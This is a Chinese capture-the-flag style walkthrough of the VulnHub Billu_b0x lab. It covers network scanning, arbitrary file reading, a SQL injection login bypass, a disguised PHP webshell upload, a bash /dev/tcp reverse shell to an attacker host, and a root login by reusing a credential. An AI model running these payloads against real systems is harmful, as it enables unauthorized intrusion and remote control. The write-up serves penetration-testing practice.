Billu_b0x

靶机搭建

下载链接
https://download.vulnhub.com/billu/Billu_b0x.zip

信息搜集

主机发现

扫描C端,发现129这台主机

sudo nmap -sn 10.10.10.0/24

如果扫不到就多重启几次靶机

端口扫描

快速TCP扫描

开放了22和80两个端口

sudo nmap -sT --min-rate 10000 -p- 10.10.10.129 -oA ports

常见端口的UDP扫描

sudo nmap -sU --top-ports 40 10.10.10.129 -oA UDP

详细TCP扫描

sudo nmap -sT -sV -sC -O -p22,80 10.10.10.129 -oA details

漏洞脚本扫描

sudo nmap --script=vuln -p22,80  10.10.10.129 -o vuln

漏洞探测

web渗透

有登陆框,感觉是sql注入,但是万能密码没用

扫一下目录

gobuster dir -u http://10.10.10.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

add路由可以上传图片

但经过尝试,似乎上传不了,有可能需要先登录,先看其他路由吧

test路由提示需要file参数

get传参没反应,post传参可以任意文件读取

这里暴露了一个用户ica,可能就是我们的目标

in路由暴露了phpinfo

其他的路由都没什么用

获得立足点

既然能任意文件读取,读一下index.php的源码

<?php

session_start();

include('c.php');

include('head.php');

if(@$_SESSION['logged']!=true)
{
    $_SESSION['logged']='';
}

  
if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{
    echo "you are logged in :)";
    header('Location: panel.php', true, 302);
}

else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>

Show me your SQLI skills <br>

<form method=post>

Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>

<input type=submit name=login value="let\'s login">';
}

if(isset($_POST['login']))
{
    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
    $result = mysqli_query($conn, $run);

if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
       echo "You are allowed<br>";
       $_SESSION['logged']=true;
       $_SESSION['admin']=$row['username'];
     header('Location: panel.php', true, 302);
}

else
{
    echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

核心是这三行代码,把单引号变成空格了

    $uname=str_replace('\'','',urldecode($_POST['un']));
    $pass=str_replace('\'','',urldecode($_POST['ps']));
    $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

这里需要构造一个用户名和密码,使拼接出来的sql语句恒成立

比如说下面这sql语句,pass是\,name是or 1=1 --+\

拼接后单引号会被转义,pass变成了'and uname = ,后面还有or 1=1 ,所以这句sql语句是恒成立的

select * from auth where  pass='\' and uname='or 1=1 --+\'

登录成功

Show users可以上传图片

尝试上传一句话木,显示只能上传图片

修改后缀后加个文件头就可以绕过了,成功上传

但是在上传目录中图片没有被当成php解析

回到上传页面,感觉load参数有点可疑,改成图片路径会不会就可以解析了?尝试一下

成功执行命令

弹个shell,记得要url编码

bash -c 'exec bash -i &>/dev/tcp/10.10.10.128/9999 <&1'

反弹成功

提权

靶机有python,先升级一下终端

常见的提权方式没找到可以利用的点,找一下敏感文件

递归查询配置文件

find /var/www -iname "config*" 2>/dev/null

找到了phpmyadmin的root密码

尝试密码复用登录ssh

SSH 本地记录的目标机器密钥和现在目标返回的密钥不一致,出于安全拦截连接

加参数跳过主机密钥校验

ssh -o StrictHostKeyChecking=No  -o UserKnownHostsFile=/dev/null  root@10.10.10.129
  • StrictHostKeyChecking=no:不强制校验主机指纹
  • UserKnownHostsFile=/dev/null:不写入本地密钥缓存,下次不会再冲突

成功拿到root

靶机的内核版本较低,也可以尝试内核提权,这里我就不试了

posted @ 2026-07-01 13:07  leee0  阅读(5)  评论(0)    收藏  举报